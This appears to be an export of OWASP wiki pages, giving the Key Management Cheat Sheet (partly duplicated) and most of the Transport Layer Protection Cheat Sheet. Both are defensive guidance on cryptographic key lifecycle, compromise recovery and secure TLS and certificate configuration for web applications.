<li>Using integrity checks to ensure that the integrity of a key or its association with other data has not been compromised. For example, keys may be wrapped (i.e., encrypted) in such a manner that unauthorized modifications to the wrapping or to the associations will be detected. </li>
<li>Employing key confirmation (see NIST SP 800-57 Part 1 Section 4.2.5.5) to help ensure that the proper key was, in fact, established. </li>
<li>Establishing an accountability system that keeps track of each access to symmetric and private keys in plaintext form. </li>
<li>Providing a cryptographic integrity check on the key (e.g., using a MAC or a digital signature). </li>
<li>The use of trusted timestamps for signed data. i. Destroying keys as soon as they are no longer needed. </li>
<li>Creating a compromise-recovery plan, especially in the case of a CA compromise. </li>
</ol>
A compromise-recovery plan is essential for restoring cryptographic security services in the event of a key compromise. A compromise-recovery plan shall be documented and easily accessible. The compromise-recovery plan should contain:
<ol>
<li>The identification and contact info of the personnel to notify, </li>
<li>The identification and contact info of the personnel to perform the recovery actions, </li>
<li>The re-key method, </li>
<li>An inventory of all cryptographic keys and their use (e.g., the location of all certificates in a system), </li>
<li>The education of all appropriate personnel on the recovery procedures, </li>
<li>An identification and contact info of all personnel needed to support the recovery procedures, </li>
<li>Policies that key-revocation checking be enforced (to minimize the effect of a compromise), </li>
<li>The monitoring of the re-keying operations (to ensure that all required operations are performed for all affected keys), and </li>
<li>Any other recovery procedures, which may include: </li>
<ol>
<li>Physical inspection of the equipment, </li>
<li>Identification of all information that may be compromised as a result of the incident, </li>
<li>Identification of all signatures that may be invalid, due to the compromise of a signing key, and </li>
<li>Distribution of new keying material, if required. </li>
</ol>
</ol>
=Trust Stores=
<ol>
<li>Design controls to secure the trust store against injection of 3rd party root certificates. The access controls are managed and enforced on an entity and application basis. </li>
<li>Implement integrity controls on objects stored in the trust store. </li>
<li>Do not allow for export of keys held within the trust store without authentication and authorization. </li>
<li>Setup strict policies and procedures for exporting key material from applications to network applications and other components. </li>
<li>Implement a secure process for updating the trust store.</li>
</ol>
=Cryptographic Key Management Libraries=
Use only reputable crypto libraries that are well maintained and updated, as well as tested and validated by 3rd party organizations (e.g., NIST/FIPS)
=Authors and Primary Editors=
<br>Brian Russell - russellbri[at]leidos.com
<br>Drew Van Duren - drew.f.van.duren[at]leidos.com
<br>Vanessa Amador - vanessa.c.amador[at]leidos.com
<br>Susanna Bezold – BezoldCISSP[at]aol.com

= Other Cheatsheets =

{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

{{OWASP Builders}}

Key Management Cheat Sheet

2018-06-19T01:52:51Z

Peter Mosmans: Add link to cheat sheet

=Introduction=
This Key Management Cheat Sheet provides developers with guidance for implementation of cryptographic key management within an application in a secure manner. It is important to document and harmonize rules and practices for:
<ol>
<li>key life cycle management (generation, distribution, destruction)</li>
<li>key compromise, recovery and zeroization</li>
<li>key storage</li>
<li>key agreement</li>
</ol>
=General Guidelines and Considerations=
Formulate a plan for the overall organization's cryptographic strategy to guide developers working on different applications and ensure that each application's cryptographic capability meets minimum requirements and best practices. Identify the cryptographic and key management requirements for your application and map all components that process or store cryptographic key material.
=Key Selection=
Selection of the cryptographic and key management algorithms to use within a given application should begin with an understanding of the objectives of the application. For example, if the application is required to store data securely, then the developer should select an algorithm suite that supports the objective of data at rest protection security. Applications that are required to transmit and receive data would select an algorithm suite that supports the objective of data in transit protection. We have provided recommendations on the selection of crypto suites within an application based on application and security objectives.
Application developers oftentimes begin the development of crypto and key management capabilities by examining what is available in a library. However, an analysis of the real needs of the application should be conducted to determine the optimal key management approach. Begin by understanding the security objectives of the application which will then drive the selection of cryptographic protocols that are best suited.
For example, the application may require:
<ol>
<li>Confidentiality of data at rest and confidentiality of data in transit. </li>
<li>Authenticity of the end device </li>
<li>Authenticity of data origin </li>
<li>Integrity of data in transit </li>
<li>Keys to create the data encryption keys </li>
</ol>
Once the understanding of the security needs of the application is achieved, developers can determine what protocols and algorithms are required. Once the protocols and algorithms are understood, you can you can begin to define the different types of keys that will support the application's objectives. There are a diverse set of key types and certificates to consider, for example:
<ol>
<li>Encryption: - Symmetric encryption keys - Asymmetric encryption keys (public and private) </li>
<li>Authentication of End Devices: - Pre-shared symmetric keys - Trusted certificates - Trust Anchors </li>
<li>Data Origin Authentication - HMAC </li>
<li>Integrity Protection - Message Authentication Codes (MACs) </li>
<li>Key Encryption Keys </li>
</ol>
==Algorithms and Protocols==
According to NIST SP 800-57 Part 1, many algorithms and schemes that provide a security service use a hash function as a component of the algorithm. Hash functions can be found in digital signature algorithms (FIPS186), Keyed-Hash Message Authentication Codes (HMAC) (FIPS198), key-derivation functions/methods (NIST Special Publications (SP) 800-56A, 800-56B, 800-56C and 800-108), and random number generators (NIST SP 800-90A). Approved hash functions are defined in FIPS180.
NIST SP 800-57 Part 1 recognizes three basic classes of approved cryptographic algorithms: hash functions, symmetric- key algorithms and asymmetric-key algorithms. The classes are defined by the number of cryptographic keys that are used in conjunction with the algorithm.
===Cryptographic hash functions===
Cryptographic hash functions do not require keys. Hash functions generate a relatively small digest (hash value) from a (possibly) large input in a way that is fundamentally difficult to reverse (i.e., it is hard to find an input that will produce a given output). Hash functions are used as building blocks for key management, for example,
<ol>
<li>To provide data authentication and integrity services (Section 4.2.3) – the hash function is used with a key to generate a message authentication code; </li>
<li>To compress messages for digital signature generation and verification (Section 4.2.4); </li>
<li>To derive keys in key-establishment algorithms (Section 4.2.5); and</li>
<li>To generate deterministic random numbers (Section 4.2.7). </li>
</ol>
===Symmetric-key algorithms===
Symmetric-key algorithms (sometimes known as secret-key algorithms) transform data in a way that is fundamentally difficult to undo without knowledge of a secret key. The key is “symmetric” because the same key is used for a cryptographic operation and its inverse (e.g., encryption and decryption). Symmetric keys are often known by more than one entity; however, the key shall not be disclosed to entities that are not authorized access to the data protected by that algorithm and key. Symmetric key algorithms are used, for example,
<ol>
<li>To provide data confidentiality (Section 4.2.2); the same key is used to encrypt and decrypt data; </li>
<li>To provide authentication and integrity services (Section 4.2.3) in the form of Message Authentication Codes (MACs); the same key is used to generate the MAC and to validate it. MACs normally employ either a symmetric key-encryption algorithm or a cryptographic hash function as their cryptographic primitive; </li>
<li>As part of the key-establishment process (Section 4.2.5); and </li>
<li>To generate deterministic random numbers (Section 4.2.7). </li>
</ol>
===Asymmetric-key algorithms===
Asymmetric-key algorithms, commonly known as public-key algorithms, use two related keys (i.e., a key pair) to perform their functions: a public key and a private key. The public key may be known by anyone; the private key should1 be under the sole control of the entity that “owns” the key pair. Even though the public and private keys of a key pair are related, knowledge of the public key does not reveal the private key. Asymmetric algorithms are used, for example,
<ol>
<li>To compute digital signatures (Section 4.2.4); </li>
<li>To establish cryptographic keying material (Section 4.2.5); and </li>
<li>To generate random numbers (Section 4.2.7). </li>
</ol>
===Message Authentication Codes (MACs)===
Message Authentication Codes (MACs) provide data authentication and integrity. A MAC is a cryptographic checksum on the data that is used in order to provide assurance that the data has not changed and that the MAC was computed by the expected entity. Although message integrity is often provided using non-cryptographic techniques known as error detection codes, these codes can be altered by an adversary to effect an action to the adversary’s benefit. The use of an approved cryptographic mechanism, such as a MAC, can alleviate this problem. In addition, the MAC can provide a recipient with assurance that the originator of the data is a key holder (i.e., an entity authorized to have the key). MACs are often used to authenticate the originator to the recipient when only those two parties share the MAC key.
===Digital Signatures===
Digital signatures are used to provide authentication, integrity and non-repudiation. Digital signatures are used in conjunction with hash functions and are computed on data of any length (up to a limit that is determined by the hash function). FIPS186 specifies algorithms that are approved for the computation of digital signatures.
===Key Encryption Keys===
Symmetric key-wrapping keys are used to encrypt other keys using symmetric-key algorithms. Key-wrapping keys are also known as key encrypting keys.
==Key Strength==
Review NIST SP 800-57 (Recommendation for Key Management) for recommended guidelines on key strength for specific algorithm implementations. Also, consider these best practices:
<ol>
<li>Establish what the application's minimum computational resistance to attack should be. Understanding the minimum computational resistance to attack should take into consideration the sophistication of your adversaries, how long data needs to be protected, where data is stored and if it is exposed. Identifying the computational resistance to attack will inform engineers as to the minimum length of the cryptographic key required to protect data over the life of that data. Consult NIST SP 800-131a for additional guidance on determining the appropriate key lengths for the algorithm of choice. </li>
<li>When encrypting keys for storage or distribution, always encrypt a cryptographic key with another key of equal or greater cryptographic strength. </li>
<li>When moving to Elliptic Curve-based algorithms, choose a key length that meets or exceeds the comparative strength of other algorithms in use within your system. Refer to NIST SP 800-57 Table 2. </li>
<li>Formulate a strategy for the overall organization's cryptographic strategy to guide developers working on different applications and ensure that each application's cryptographic capability meets minimum requirements and best practices. </li>
</ol>
==Memory Management Considerations==
Keys stored in memory for a long time can become “burned in”. This can be mitigated by splitting the key into components that are frequently updated. NIST SP 800.57). Loss or corruption of the memory media on which keys and/or certificates are stored, and recovery planning, according to NIST SP 800.57.
Plan for the recovery from possible corruption of the memory media necessary for key or certificate generation, registration, and/or distribution systems, subsystems, or components as recommended in NIST SP 800.57.
==Perfect Forward Secrecy==
Ephemeral keys can provide perfect forward secrecy protection, which means a compromise of the server's long term signing key does not compromise the confidentiality of past sessions. Refer to [[https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet OWASP Transport Layer Protection Cheat Sheet]].

==Proxy Handling==
==Key Usage==
According to NIST, in general, a single key should be used for only one purpose (e.g., encryption, authentication, key wrapping, random number generation, or digital signatures). There are several reasons for this:
<ol>
<li>The use of the same key for two different cryptographic processes may weaken the security provided by one or both of the processes. </li>
<li>Limiting the use of a key limits the damage that could be done if the key is compromised. </li>
<li>Some uses of keys interfere with each other. For example, the length of time the key may be required for each use and purpose. Retention requirements of the data may differ for different data types. </li>
</ol>
==Cryptographic Module Topics==
According to NIST SP800-133, cryptographic modules are the set of hardware, software, and/or firmware that implements security functions (including cryptographic algorithms and key generation) and is contained within a cryptographic module boundary to provide protection of the keys.
=Key Management Lifecycle Best Practices=
==Generation==
Cryptographic keys shall be generated within cryptographic module with at least a FIPS 140-2 compliance. For explanatory purposes, consider the cryptographic module in which a key is generated to be the key-generating module. Any random value required by the key-generating module shall be generated within that module; that is, the Random Bit Generator that generates the random value shall be implemented within cryptographic module with at least a FIPS 140-2 compliance that generates the key.
Hardware cryptographic modules are preferred over software cryptographic modules for protection.
==Distribution==
The generated keys shall be transported (when necessary) using secure channels and shall be used by their associated cryptographic algorithm within at least a FIPS 140-2 compliant cryptographic modules. For additional detail for the recommendations in this section refer to NIST Special Paper 800-133.
==Storage==
<ol>
<li>Developers must understand where cryptographic keys are stored within the application. Understand what memory devices the keys are stored on. </li>
<li>Keys must be protected on both volatile and persistent memory, ideally processed within secure cryptographic modules. </li>
<li>Keys should never be stored in plaintext format. </li>
<li>Ensure all keys are stored in cryptographic vault, such as a hardware security module (HSM) or isolated cryptographic service. </li>
<li>If you are planning on storing keys in offline devices/databases, then encrypt the keys using Key Encryption Keys (KEKs) prior to the export of the key material. KEK length (and algorithm) should be equivalent to or greater in strength than the keys being protected. </li>
<li>Ensure that keys have integrity protections applied while in storage (consider dual purpose algorithms that support encryption and Message Code Authentication (MAC)). </li>
<li>Ensure that standard application level code never reads or uses cryptographic keys in any way and use key management libraries. </li>
<li>Ensure that keys and cryptographic operation is done inside the sealed vault. </li>
<li>All work should be done in the vault (such as key access, encryption, decryption, signing, etc). </li>
</ol>
==Escrow and Backup==
Data that has been encrypted with lost cryptographic keys will never be recovered. Therefore, it is essential that the application incorporate a secure key backup capability, especially for applications that support data at rest encryption for long-term data stores. When backing up keys, ensure that the database that is used to store the keys is encrypted using at least a FIPS 140-2 validated module.
It is sometimes useful to escrow key material for use in investigations and for re-provisioning of key material to users in the event that the key is lost or corrupted. Never escrow keys used for performing digital signatures, but consider the need to escrow keys that support encryption. Oftentimes, escrow can be performed by the Certificate Authority (CA) or key management system that provisions certificates and keys, however in some instances separate APIs must be implemented to allow the system to perform the escrow for the application.
==Key Rotation==
==Accountability and Audit==
Accountability involves the identification of those that have access to, or control of, cryptographic keys throughout their lifecycles. Accountability can be an effective tool to help prevent key compromises and to reduce the impact of compromises once they are detected. Although it is preferred that no humans are able to view keys, as a minimum, the key management system should account for all individuals who are able to view plaintext cryptographic keys. In addition, more sophisticated key-management systems may account for all individuals authorized to access or control any cryptographic keys, whether in plaintext or ciphertext form.
Accountability provides three significant advantages:
<ol>
<li>It aids in the determination of when the compromise could have occurred and what individuals could have been involved, </li>
<li>It tends to protect against compromise, because individuals with access to the key know that their access to the key is known, and </li>
<li>It is very useful in recovering from a detected key compromise to know where the key was used and what data or other keys were protected by the compromised key. </li>
</ol>
Certain principles have been found to be useful in enforcing the accountability of cryptographic keys. These principles might not apply to all systems or all types of keys. Some of the principles that apply to long-term keys controlled by humans include:
<ol>
<li>Uniquely identifying keys, </li>
<li>Identifying the key user, </li>
<li>Identifying the dates and times of key use, along with the data that is protected, and </li>
<li>Identifying other keys that are protected by a symmetric or private key. </li>
</ol>
Two types of audit should be performed on key management systems:
<ol>
<li>The security plan and the procedures that are developed to support the plan should be periodically audited to ensure that they continue to support the Key Management Policy (NIST SP 800-57 Part 2). </li>
<li>The protective mechanisms employed should be periodically reassessed with respect to the level of security that they provide and are expected to provide in the future, and that the mechanisms correctly and effectively support the appropriate policies. </li>
</ol>
New technology developments and attacks should be taken into consideration. On a more frequent basis, the actions of the humans that use, operate and maintain the system should be reviewed to verify that the humans continue to follow established security procedures. Strong cryptographic systems can be compromised by lax and inappropriate human actions. Highly unusual events should be noted and reviewed as possible indicators of attempted attacks on the system.
==Key Compromise and Recovery==
The compromise of a key has the following implications:
<ol>
<li>In general, the unauthorized disclosure of a key used to provide confidentiality protection (i.e., via encryption) means that all information encrypted by that key could be expose or known by unauthorized entities. The disclosure of a Certificate of Authorities’s private signature key means that an adversary can create fraudulent certificates and Certificate Revocation Lists (CRLs). </li>
<li>A compromise of the integrity of a key means that the key is incorrect - either that the key has been modified (either deliberately or accidentally), or that another key has been substituted; this includes a deletion (non-availability) of the key. The substitution or modification of a key used to provide integrity calls into question the integrity of all information protected by the key. This information could have been provided by, or changed by, an unauthorized entity that knows the key. The substitution of a public or secret key that will be used (at a later time) to encrypt data could allow an unauthorized entity (who knows the decryption key) to decrypt data that was encrypted using the encryption key. </li>
<li>A compromise of a key’s usage or application association means that the key could be used for the wrong purpose (e.g., for key establishment instead of digital signatures) or for the wrong application, and could result in the compromise of information protected by the key. </li>
<li>A compromise of a key’s association with the owner or other entity means that the identity of the other entity cannot be assured (i.e., one does not know who the other entity really is) or that information cannot be processed correctly (e.g., decrypted with the correct key). </li>
<li>A compromise of a key’s association with other information means that there is no association at all, or the association is with the wrong “information”. This could cause the cryptographic services to fail, information to be lost, or the security of the information to be compromised. Certain protective measures may be taken in order to minimize the likelihood or consequences of a key compromise. Similar affect as ransomware, except that you can’t pay the ransom and get the key back. </li>
</ol>
The following procedures are usually involved:
<ol>
<li>Limiting the amount of time a symmetric or private key is in plaintext form. </li>
<li>Preventing humans from viewing plaintext symmetric and private keys. </li>
<li>Restricting plaintext symmetric and private keys to physically protected containers. This includes key generators, key-transport devices, key loaders, cryptographic modules, and key-storage devices. </li>
<li>Using integrity checks to ensure that the integrity of a key or its association with other data has not been compromised. For example, keys may be wrapped (i.e., encrypted) in such a manner that unauthorized modifications to the wrapping or to the associations will be detected. </li>
<li>Employing key confirmation (see NIST SP 800-57 Part 1 Section 4.2.5.5) to help ensure that the proper key was, in fact, established. </li>
<li>Establishing an accountability system that keeps track of each access to symmetric and private keys in plaintext form. </li>
<li>Providing a cryptographic integrity check on the key (e.g., using a MAC or a digital signature). </li>
<li>The use of trusted timestamps for signed data. i. Destroying keys as soon as they are no longer needed. </li>
<li>Creating a compromise-recovery plan, especially in the case of a CA compromise. </li>
</ol>
A compromise-recovery plan is essential for restoring cryptographic security services in the event of a key compromise. A compromise-recovery plan shall be documented and easily accessible. The compromise-recovery plan should contain:
<ol>
<li>The identification and contact info of the personnel to notify, </li>
<li>The identification and contact info of the personnel to perform the recovery actions, </li>
<li>The re-key method, </li>
<li>An inventory of all cryptographic keys and their use (e.g., the location of all certificates in a system), </li>
<li>The education of all appropriate personnel on the recovery procedures, </li>
<li>An identification and contact info of all personnel needed to support the recovery procedures, </li>
<li>Policies that key-revocation checking be enforced (to minimize the effect of a compromise), </li>
<li>The monitoring of the re-keying operations (to ensure that all required operations are performed for all affected keys), and </li>
<li>Any other recovery procedures, which may include: </li>
<ol>
<li>Physical inspection of the equipment, </li>
<li>Identification of all information that may be compromised as a result of the incident, </li>
<li>Identification of all signatures that may be invalid, due to the compromise of a signing key, and </li>
<li>Distribution of new keying material, if required. </li>
</ol>
</ol>
=Trust Stores=
<ol>
<li>Design controls to secure the trust store against injection of 3rd party root certificates. The access controls are managed and enforced on an entity and application basis. </li>
<li>Implement integrity controls on objects stored in the trust store. </li>
<li>Do not allow for export of keys held within the trust store without authentication and authorization. </li>
<li>Setup strict policies and procedures for exporting key material from applications to network applications and other components. </li>
<li>Implement a secure process for updating the trust store.</li>
</ol>
=Cryptographic Key Management Libraries=
Use only reputable crypto libraries that are well maintained and updated, as well as tested and validated by 3rd party organizations (e.g., NIST/FIPS)
=Authors and Primary Editors=
<br>Brian Russell - russellbri[at]leidos.com
<br>Drew Van Duren - drew.f.van.duren[at]leidos.com
<br>Vanessa Amador - vanessa.c.amador[at]leidos.com
<br>Susanna Bezold – BezoldCISSP[at]aol.com

= Other Cheatsheets =

{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

{{OWASP Builders}}

Cryptographic Storage Cheat Sheet

2018-06-19T01:34:25Z

Peter Mosmans: Add Argon2 as recommended algorithm

Transport Layer Protection Cheat Sheet

2018-06-14T06:25:32Z

Peter Mosmans: Correct misspelling

__NOTOC__
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div>

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''
= Introduction =
__TOC__{{TOC hidden}}

This cheat sheet provides a simple model to follow when implementing transport layer protection for an application. Although the concept of SSL is known to many, the actual details and security specific decisions of implementation are often poorly understood and frequently result in insecure deployments. This article establishes clear rules which provide guidance on securely designing and configuring transport layer security for an application. This article is focused on the use of SSL/TLS between a web application and a web browser, but we also encourage the use of SSL/TLS or other network encryption technologies, such as VPN, on back end and other non-browser based connections.<br>

== Architectural Decision ==

An architectural decision must be made to determine the appropriate method to protect data when it is being transmitted. The most common options available to corporations are Virtual Private Networks (VPN) or a SSL/TLS model commonly used by web applications. The selected model is determined by the business needs of the particular organization. For example, a VPN connection may be the best design for a partnership between two companies that includes mutual access to a shared server over a variety of protocols. Conversely, an Internet facing enterprise web application would likely be best served by a SSL/TLS model.

TLS is mainly a defence against man-in-the-middle attacks. An TLS Threat Model is one that starts with the question ''"What is the business impact of an attacker's ability to observe, intercept and manipulate the traffic between the client and the server"''.

This cheat sheet will focus on security considerations when the SSL/TLS model is selected. This is a frequently used model for publicly accessible web applications.

= Providing Transport Layer Protection with SSL/TLS =

== Benefits ==

The primary benefit of transport layer security is the protection of web application data from unauthorized disclosure and modification when it is transmitted between clients (web browsers) and the web application server, and between the web application server and back end and other non-browser based enterprise components.

The server validation component of TLS provides authentication of the server to the client. If configured to require client side certificates, TLS can also play a role in client authentication to the server. However, in practice client side certificates are not often used in lieu of username and password based authentication models for clients.

TLS also provides two additional benefits that are commonly overlooked; integrity guarantees and replay prevention. A TLS stream of communication contains built-in controls to prevent tampering with any portion of the encrypted data. In addition, controls are also built-in to prevent a captured stream of TLS data from being replayed at a later time.

It should be noted that TLS provides the above guarantees to data during transmission. TLS does not offer any of these security benefits to data that is at rest. Therefore appropriate security controls must be added to protect data while at rest within the application or within data stores.

* Use TLS, as SSL is no longer considered usable for security

* All pages must be served over HTTPS. This includes css, scripts, images, AJAX requests, POST data and third party includes. Failure to do so creates a vector for man-in-the-middle attacks.

* Just protecting authenticated pages with HTTPS, is not enough. Once there is one request in HTTP, man-in-the-middle attacks are possible, with the attackers being able to prevent users from reaching the secured pages.

* the [[HTTP Strict Transport Security]] Header must be used and [https://hstspreload.appspot.com/ pre loaded into browsers]. This will instruct compatible browsers to only use HTTPS, even if requested to use HTTP.

* Cookies must be marked as Secure

== Basic Requirements ==

The basic requirements for using TLS are: access to a Public Key Infrastructure (PKI) in order to obtain certificates, access to a directory or an Online Certificate Status Protocol (OCSP) responder in order to check certificate revocation status, and agreement/ability to support a minimum configuration of protocol versions and protocol options for each version.

== SSL vs. TLS ==

The terms, Secure Socket Layer (SSL) and Transport Layer Security (TLS) are often used interchangeably. In fact, SSL v3.1 is equivalent to TLS v1.0. However, different versions of SSL and TLS are supported by modern web browsers and by most modern web frameworks and platforms. For the purposes of this cheat sheet we will refer to the technology generically as TLS. Recommendations regarding the use of SSL and TLS protocols, as well as browser support for TLS, can be found in the rule below titled [[Transport_Layer_Protection_Cheat_Sheet#Rule_-_Only_Support_Strong_Protocols| "Only Support Strong Protocols"]].

[[Image:Asvs_cryptomodule.gif|thumb|350px|right|Cryptomodule Parts and Operation]]

== When to Use a FIPS 140-2 Validated Cryptomodule ==

If the web application may be the target of determined attackers (a common threat model for Internet accessible applications handling sensitive data), it is strongly advised to use TLS services that are provided by [http://csrc.nist.gov/groups/STM/cmvp/validation.html FIPS 140-2 validated cryptomodules].

A cryptomodule, whether it is a software library or a hardware device, basically consists of three parts:

* Components that implement cryptographic algorithms (symmetric and asymmetric algorithms, hash algorithms, random number generator algorithms, and message authentication code algorithms)
* Components that call and manage cryptographic functions (inputs and outputs include cryptographic keys and so-called critical security parameters)
* A physical container around the components that implement cryptographic algorithms and the components that call and manage cryptographic functions

The security of a cryptomodule and its services (and the web applications that call the cryptomodule) depend on the correct implementation and integration of each of these three parts. In addition, the cryptomodule must be used and accessed securely. The includes consideration for:

* Calling and managing cryptographic functions
* Securely Handling inputs and output
* Ensuring the secure construction of the physical container around the components

In order to leverage the benefits of TLS it is important to use a TLS service (e.g. library, web framework, web application server) which has been FIPS 140-2 validated. In addition, the cryptomodule must be installed, configured and operated in either an approved or an allowed mode to provide a high degree of certainty that the FIPS 140-2 validated cryptomodule is providing the expected security services in the expected manner.

If the system is legally required to use FIPS 140-2 encryption (e.g., owned or operated by or on behalf of the U.S. Government) then TLS must be used and SSL disabled. Details on why SSL is unacceptable are described in Section 7.1 of [http://csrc.nist.gov/groups/STM/cmvp/documents/fips140-2/FIPS1402IG.pdf Implementation Guidance for FIPS PUB 140-2 and the Cryptographic Module Validation Program].

Further reading on the use of TLS to protect highly sensitive data against determined attackers can be viewed in [http://csrc.nist.gov/publications/nistpubs/800-52/SP800-52.pdf SP800-52 Guidelines for the Selection and Use of Transport Layer Security (TLS) Implementations]

== Secure Server Design ==

=== Rule - Use TLS or Other Strong Transport Everywhere ===

All networks, both external and internal, must utilize TLS or an equivalent transport layer security mechanism for all communication. It is not sufficient to claim that access to the internal network is "restricted to employees". Numerous recent data compromises have shown that the internal network can be breached by attackers. In these attacks, sniffers have been installed to access unencrypted sensitive data sent on the internal network.

The login page and all subsequent authenticated pages must be exclusively accessed over TLS. The initial login page, referred to as the "login landing page", must be served over TLS. Failure to utilize TLS for the login landing page allows an attacker to modify the login form action, causing the user's credentials to be posted to an arbitrary location. Failure to utilize TLS for authenticated pages after the login enables an attacker to view the unencrypted session ID and compromise the user's authenticated session.

Even marketing or other low-security websites still require TLS. Lack of TLS leads to a lack of integrity which allows attackers to modify content in transit. Also, sites that do not provide TLS are marked lower in pagerank for SEO.

=== Rule - Do Not Provide Non-TLS Pages for Secure Content ===

All pages which are available over TLS must not be available over a non-TLS connection. A user may inadvertently bookmark or manually type a URL to a HTTP page (e.g. http://example.com/myaccount) within the authenticated portion of the application. If this request is processed by the application then the response, and any sensitive data, would be returned to the user over the clear text HTTP.

=== Rule - Do Not Mix TLS and Non-TLS Content ===

A page that is available over TLS must be comprised completely of content which is transmitted over TLS. The page must not contain any content that is transmitted over unencrypted HTTP. This includes content from unrelated third party sites.

An attacker could intercept any of the data transmitted over the unencrypted HTTP and inject malicious content into the user's page. This malicious content would be included in the page even if the overall page is served over TLS. In addition, an attacker could steal the user's session cookie that is transmitted with any non-TLS requests. This is possible if the cookie's 'secure' flag is not set. See the rule 'Use "Secure" Cookie Flag'

=== Rule - Use "Secure" Cookie Flag ===

The "Secure" flag must be set for all user cookies. Failure to use the "secure" flag enables an attacker to access the session cookie by tricking the user's browser into submitting a request to an unencrypted page on the site. This attack is possible even if the server is not configured to offer HTTP content since the attacker is monitoring the requests and does not care if the server responds with a 404 or doesn't respond at all.

=== Rule - Keep Sensitive Data Out of the URL ===

Sensitive data must not be transmitted via URL arguments. A more appropriate place is to store sensitive data in a server side repository or within the user's session. When using TLS the URL arguments and values are encrypted during transit. However, there are two methods that the URL arguments and values could be exposed.

1. The entire URL is cached within the local user's browser history. This may expose sensitive data to any other user of the workstation.

2. The entire URL is exposed if the user clicks on a link to another HTTPS site. This may expose sensitive data within the referral field to the third party site. This exposure occurs in most browsers and will only occur on transitions between two TLS sites.

For example, a user following a link on [http://owasp.org https://example.com] which leads to [http://owasp.org https://someOtherexample.com] would expose the full URL of [http://owasp.org https://example.com] (including URL arguments) in the referral header (within most browsers). This would not be the case if the user followed a link on [http://owasp.org https://example.com] to [http://owasp.org http://someHTTPexample.com]

=== Rule - Prevent Caching of Sensitive Data ===

The TLS protocol provides confidentiality only for data in transit but it does not help with potential data leakage issues at the client or intermediary proxies. As a result, it is frequently prudent to instruct these nodes not to cache or persist sensitive data. One option is to add anticaching headers to relevant HTTP responses, (for example, "Cache-Control: no-cache, no-store" and "Expires: 0" for coverage of many modern browsers as of 2013). For compatibility with HTTP/1.0 (i.e., when user agents are really old or the webserver works around quirks by forcing HTTP/1.0) the response should also include the header "Pragma: no-cache". More information is available in [https://tools.ietf.org/html/rfc2616 HTTP 1.1 RFC 2616], section 14.9.

=== Rule - Use HTTP Strict Transport Security ===

See: [[HTTP Strict Transport Security]]

===Rule - Use Public Key Pinning===

See: [[Certificate and Public Key Pinning]]

<span id="Server_Certificate_and_Protocol_Configuration"></span> 

== Server Certificate ==
Note: If using a FIPS 140-2 cryptomodule disregard the following rules and defer to the recommended configuration for the particular cryptomodule. Nevertheless we recommend to use this rules to audit your configuration.

=== Rule - Use Strong Keys & Protect Them ===

The private key used to generate the cipher key must be sufficiently strong for the anticipated lifetime of the private key and corresponding certificate. The current best practice is to select a key size of at least 2048 bits. Additional information on key lifetimes and comparable key strengths can be found in [http://www.keylength.com/en/compare/], [http://csrc.nist.gov/publications/nistpubs/800-57/sp800-57_part1_rev3_general.pdf NIST SP 800-57]. In addition, the private key must be stored in a location that is protected from unauthorized access.

=== Rule - Use a Certificate That Supports Required Domain Names ===

A user should never be presented with a certificate error, including prompts to reconcile domain or hostname mismatches, or expired certificates. If the application is available at both [https://owasp.org https://www.example.com] and [https://owasp.org https://example.com] then an appropriate certificate, or certificates, must be presented to accommodate the situation. The presence of certificate errors desensitizes users to TLS error messages and increases the possibility an attacker could launch a convincing phishing or man-in-the-middle attack.

For example, consider a web application accessible at [https://owasp.org https://abc.example.com] and [https://owasp.org https://xyz.example.com]. One certificate should be acquired for the host or server ''abc.example.com''; and a second certificate for host or server ''xyz.example.com''. In both cases, the hostname would be present in the Subject's Common Name (CN).

Alternatively, the Subject Alternate Names (SANs) can be used to provide a specific listing of multiple names where the certificate is valid. In the example above, the certificate could list the Subject's CN as ''example.com'', and list two SANs: ''abc.example.com'' and ''xyz.example.com''. These certificates are sometimes referred to as "multiple domain certificates".

=== Rule - Use Fully Qualified Names in Certificates ===

Use fully qualified names in the DNS name field, and do not use unqualifed names (e.g., 'www'), local names (e.g., 'localhost'), or private IP addresses (e.g., 192.168.1.1) in the DNS name field. Unqualifed names, local names, or private IP addresses violate the certificate specification.

=== Rule - Do Not Use Wildcard Certificates ===

You should refrain from using wildcard certificates. Though they are expedient at circumventing annoying user prompts, they also [[Least_privilege|violate the principal of least privilege]] and asks the user to trust all machines, including developer's machines, the secretary's machine in the lobby and the sign-in kiosk. Obtaining access to the private key is left as an exercise for the attacker, but its made much easier when stored on the file system unprotected.

Statistics gathered by Qualys for [http://media.blackhat.com/bh-us-10/presentations/Ristic/BlackHat-USA-2010-Ristic-Qualys-SSL-Survey-HTTP-Rating-Guide-slides.pdf Internet SSL Survey 2010] indicate wildcard certificates have a 4.4% share, so the practice is not standard for public facing hosts. Finally, wildcard certificates violate [https://cabforum.org/extended-validation/ EV Certificate Guidelines].

=== Rule - Do Not Use RFC 1918 Addresses in Certificates ===

Certificates should not use private addresses. RFC 1918 is [https://tools.ietf.org/html/rfc1918 Address Allocation for Private Internets]. Private addresses are Internet Assigned Numbers Authority (IANA) reserved and include 192.168/16, 172.16/12, and 10/8.

Certificates issued with private addresses violate [https://www.cabforum.org/EV_Certificate_Guidelines.pdf EV Certificate Guidelines]. In addition, Peter Gutmann writes in in [http://www.cs.auckland.ac.nz/~pgut001/pubs/book.pdf Engineering Security]: "This one is particularly troublesome because, in combination with the router-compromise attacks... and ...OSCP-defeating measures, it allows an attacker to spoof any EV-certificate site."

=== Rule - Use an Appropriate Certification Authority for the Application's User Base ===

An application user must never be presented with a warning that the certificate was signed by an unknown or untrusted authority. The application's user population must have access to the public certificate of the certification authority which issued the server's certificate. For Internet accessible websites, the most effective method of achieving this goal is to purchase the TLS certificate from a recognize certification authority. Popular Internet browsers already contain the public certificates of these recognized certification authorities.

Internal applications with a limited user population can use an internal certification authority provided its public certificate is securely distributed to all users. However, remember that all certificates issued by this certification authority will be trusted by the users. Therefore, utilize controls to protect the private key and ensure that only authorized individuals have the ability to sign certificates.

The use of self signed certificates is never acceptable. Self signed certificates negate the benefit of end-point authentication and also significantly decrease the ability for an individual to detect a man-in-the-middle attack.

